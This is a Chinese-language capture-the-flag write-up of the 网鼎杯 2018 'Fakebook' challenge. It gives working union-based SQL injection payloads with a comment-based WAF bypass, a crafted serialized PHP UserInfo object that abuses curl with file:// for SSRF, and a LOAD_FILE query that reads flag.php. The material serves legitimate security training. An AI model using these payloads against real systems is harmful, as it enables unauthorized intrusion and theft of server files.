[网鼎杯 2018]Fakebook
在buuoj可以搜到
进入环境,常规用f12查看源码,看看有没有什么提示,但本人太菜了,实在找不到什么提示
进入,先注册一个账号,发现本题对bolg有审查,必须为真实可以进入的网址
点击username ,发现可以进入用户的页面
这个页面可以访问用户提供的博客网址,并显示,那么,我们思路就来了,我们是不是可以通过file协议来访问并显示靶机的文件,这就去试试
ps图片未显示网页信息是因为靶机的访问请求被我的浏览器给拦截了,所以没能显示我的博客,
但通过文字提示,可以知道,是存在显示功能的
咳咳,果然没那么简单,这里有waf
然后,我们还能发现view页面有get传参no,用于从数据库调取用户信息,是一个很明显的注入点
经过尝试,构造了payload1为
ps,这里union布置怎么被过滤了,在其后面多加一个空格即可绕过过滤
?no=-1 union select 1,(select user()),1,1#
在这里我们可以发现的信息
1.回显点在username处
2.使用了反序列化储存,在数据库中储存的age,blog都是通过序列化字符串储存的,
3.绝对路径为/var/www/html
综上,我们可以猜出flag大概率存在于html目录下
上御剑:
成功发现flag.php
已经到了这里了,这道题可能跟返序列化有关,但反序列化一般需要知道源码的,也就是说这道题应该存在源码泄露,以此来构造我们的payload(序列化字符串),使blog输出为file:///var/www/html/flag.php即可
---------------------------------------------------
解法一
以我有限的渗透水平,我实在想不到怎么找到源码泄露
于是搜索大佬们的wp,发现在robots.txt里面有代码备份,
QAQ,这就是我和dalao的差距啊,为啥他们一看源码,就能发现泄露啊TAT.
我们下载备份文件,
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这正是我们需要的用户类的代码,通过源码,我们很容易构造出userinfo的序列化字符串,然后将blog换成file:///var/www/html/flag.php,如下
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
所以接下来只要把这段字符串放在get接受的位置即可(加单引号包裹)
最后,回到我们的sql注入,
输入
payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
至于为何在4位点插入串,因为我们之前猜测ssrf的利用位置在blog--4位点,别的位置无法curl_exec()
造成ssrf
f12发现flag。。。
解法二:
既然这个sql注入又回显
我们是不是可以使用sql注入load_file()
利用报错的绝对路径直接查到flag.php
构造pyload
?no=-1 union select 1,(SELECT LOAD_FILE('/var/www/html/flag.php') AS Result),3,4#
f12回显点,直接得到flag
总结,我要走的路还很长啊TAT